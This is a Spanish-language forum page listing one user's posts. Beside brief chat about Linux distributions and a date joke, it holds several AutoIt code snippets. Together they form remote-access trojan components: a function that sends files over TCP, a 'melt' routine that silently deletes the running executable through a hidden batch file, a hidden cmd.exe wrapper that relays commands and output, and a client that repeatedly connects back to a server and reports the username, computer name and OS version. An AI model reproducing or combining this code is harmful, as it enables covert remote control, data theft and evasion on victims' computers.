Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
![:-\](https://forum.elhacker.net/Smileys/navidad/undecided.gif ":-\")
Cita de: @synthesize en 13 Diciembre 2013, 12:14 PM
Fedora
No sé hace tiempo que no uso Ubuntu. Pero como dice Randomize, la última LTS (Long Term Support) para una distro estable, o la última versión que hayan sacado para tener todo lo nuevo.
Cita de: WHK en 13 Diciembre 2013, 13:52 PM
jajajaja lo mismo pasó con el 12 del 12 del 2012 xD fue una fecha muy rara, y mas aun cuando eran las 12 del dia con 12 minutos y 12 segundos jajajajaja fecha que no se volverá a repetir porque no existe el mes 13 :p
Func _TCPFileSend($sock, $File, $MaxLen) ;Envia datos binarios desde archivo.
Local $BytesRead = 0
$FileHandle = FileOpen($File, 16)
While 1
$Data = FileRead($FileHandle, $MaxLen)
If @error Then ExitLoop
$BytesRead += TCPSend($sock, $Data)
Wend
FileClose($FileHandle)
Return SetError(0, 0, 1)
EndFunc ;==>_TCPFileSendFunc _Melt() ;Elimina el ejecutable que esta corriendo.
Local $sCmdFile
FileDelete(@TempDir & "\scratch.bat")
$sCmdFile = 'ping -n ' & 15 & '127.0.0.1 > nul' & @CRLF _
& ':loop' & @CRLF _
& 'del "' & @AutoItExe & '"' & @CRLF _
& 'if exist "' & @AutoItExe & '" goto loop' & @CRLF _
& 'del ' & @TempDir & '\scratch.bat'
FileWrite(@TempDir & "\scratch.bat", $sCmdFile)
Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE)
EndFunc ;==>_Melt;Creado por 79137913
Global $cmdpid
Global $cmdresponse
;~ _iniciarCMD()
;~ _sendCMDCommand("ping 127.0.0.1",2)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _sendCMDCommand("cd ..",1)
;~ MsgBox(0,"",$cmdresponse)
;~ _CerrarCMD()
Exit
func _SendCMDCommand($command,$timeoutlimit);Envia un comando CMD y devuelve la respuesta, timeout es en segundos
StdinWrite($cmdpid,$command)
StdinWrite($cmdpid,@CRLF)
;StdinWrite($cmdpid)
Local $data
Local $response
Local $timeout
$data = ""
While True
sleep(100)
$data &= StdoutRead($cmdpid)
If $data <> "" Then
$response=$response & $data
$data=""
$timeout=0
EndIf
$timeout=$timeout+1
if $timeout=$timeoutlimit*10 then ExitLoop
WEnd
$cmdresponse = $response
EndFunc
func _CerrarCMD();Cerrar CMD
StdinWrite($cmdpid)
EndFunc
Func _IniciarCMD();Inicializar CMD
$cmdpid = Run("C:\Windows\system32\cmd.exe",@SystemDir, @SW_HIDE, $STDIN_CHILD + $STDOUT_CHILD)
EndFunc#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
_Conectar()
TCPSend ($Socket,"Hola")
While 1 ; Recibir y ejecutar
$Recibe =""
While $Recibe = ""
$Recibe=TCPRecv($Socket,10000000)
Sleep (100)
WEnd
$Dat = StringSplit($Recibe,"|||")
Select
case $Dat[1] = "GiveMeData"
TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
EndSelect
WEnd
WEnd
Func _Conectar()
While TCPStartup()=0
sleep (10)
WEnd
While True
$Socket=TCPConnect ($IP,$PORT)
If $Socket>0 Then
ExitLoop
EndIf
Sleep(1000)
WEnd
EndFunc